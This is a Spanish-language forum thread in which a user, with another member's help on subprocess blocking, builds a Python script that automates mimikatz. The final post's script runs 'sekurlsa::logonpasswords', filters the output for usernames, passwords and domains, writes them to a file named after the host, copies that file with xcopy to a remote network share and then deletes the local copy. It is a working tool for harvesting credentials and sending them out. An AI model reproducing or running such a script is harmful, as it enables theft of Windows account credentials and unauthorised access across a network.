[SOLUCIONADO] Ayuda con el módulo subprocess

Iniciado por underzero, Febrero 17, 2016, 01:53:17 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 17, 2016, 01:53:17 PM Ultima modificación: Junio 16, 2016, 06:50:15 AM por Gabriela
Buenas tardes,

Llevo ya tiempo intentando entender el tema de subprocess.Popen y sus entradas y salidas. Quiero hacer un script para automatizar mimikatz.
Trato de abrir el proceso mimikatz como hijo así: process = subprocess.Popen('mimikatz', stdin=subprocess.PIPE, stdout=subprocess.PIPE) y parece que hace algo pero nada.

Si llamo al hijo así process = subprocess.Popen('mimikatz',stdin=subprocess.PIPE) se queda en bucle infinito con el prompt del mimikatz. Aunque le ponga un wait() no pasa de esa orden. 

Si lo pongo así process = subprocess.Popen('mimikatz').

La pregunta es: ¿Cómo llamo a un proceso hijo al cuál el padre envia y recibe los datos? es decir ¿Cómo interactuar con un proceso hijo?

Gracias y saludos.

Buenas tardes,

Sigo con mis pruebas. He conseguido enviar y recibir datos:

Código: php
import os
import subprocess
from subprocess import Popen, PIPE

process = subprocess.Popen('mimikatz', stdin=subprocess.PIPE, stdout=subprocess.PIPE)
print "1"
process.stdin.write('sekurlsa::logonpasswords\n')
print "2"
salida = process.stdout.read()
print "3"
process.kill()
print "4"
print salida


Los número están para debug. El caso es que en salida = No tienes permitido ver los links. Registrarse o Entrar a mi cuenta() se queda detenida la ejecucón. Es decir, no pasa del dos. Pero si detengo mimkatz desde el admin de tareas continua con la ejecución e imprime los datos

Buenos días,

Tras muchas horas de prueba, voy consiguiendo algo.
Código: php
import os
import subprocess
from subprocess import Popen, PIPE
import time

process = subprocess.Popen('mimikatz', stdin=PIPE, stdout=PIPE)
process.stdin.write('sekurlsa::logonpasswords\n')
time.sleep(1)
salida = process.stdout.readline()
while True:
if ('*' in salida) and ('Username' in salida or 'Password' in salida or 'Domain' in salida):
print salida.strip()
salida = process.stdout.readline()
process.kill()


Consigo sacar la información que quiero por pantalla pero al llegar a la última lectura del stdout se queda el proceso hijo esperando a algo y lo tengo que para con el keyboard. ¿Alguien sabria porque ocurre ésto?

Gracias y saludos.

readline() lee hasta el proximo salto de linea (\n)
Si no hay uno, bloquea hasta que aparezca, necesitarias usar algo que no bloquee


Te dejo un par de links, no los probe pero responden a la misma pregunta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muchas gracias por la ayuda. Ya he conseguí lo que quería. Pego el código:

Código: php
# -*- coding: UTF-8-*-

import os
import subprocess
from subprocess import Popen, PIPE
import time
import sys

process = subprocess.Popen('C:\\excepciones\\mimikatz', stdin=PIPE, stdout=PIPE)
process.stdin.write('sekurlsa::logonpasswords\n')
time.sleep(1)
con = sys.getsizeof(process.stdout)
p2 = subprocess.Popen('hostname', stdout=PIPE)
equipo = p2.stdout.read()
p2.kill()
equipo = equipo.strip() + '.txt'
ruta = 'C:\\excepciones\\' + equipo
repo = '\\\mies-054\logs\\'
foo = open(ruta, 'w')
for i in range(con):
salida = process.stdout.readline()
if ('*' in salida) and ('Username' in salida or 'Password' in salida or 'Domain' in salida):
foo.write(salida.strip())
foo.write('\n')
foo.close()
process.kill()
os.system('xcopy "%s" "%s"' % (ruta, repo))
os.system('erase "%s"' % (ruta))
sys.exit(0)


Lo que hace el script es invocar mimikatz pasando la orden a través de stdin y guarda los passwords en RAM en un txt con el hostname del equipo. Después mueve el txt a un recurso de red para chequearlo.

Pueden cerrar el tema, aunque creo que sería interesante moverlo a desarrollo de scripts en python.

Gracias y saludos.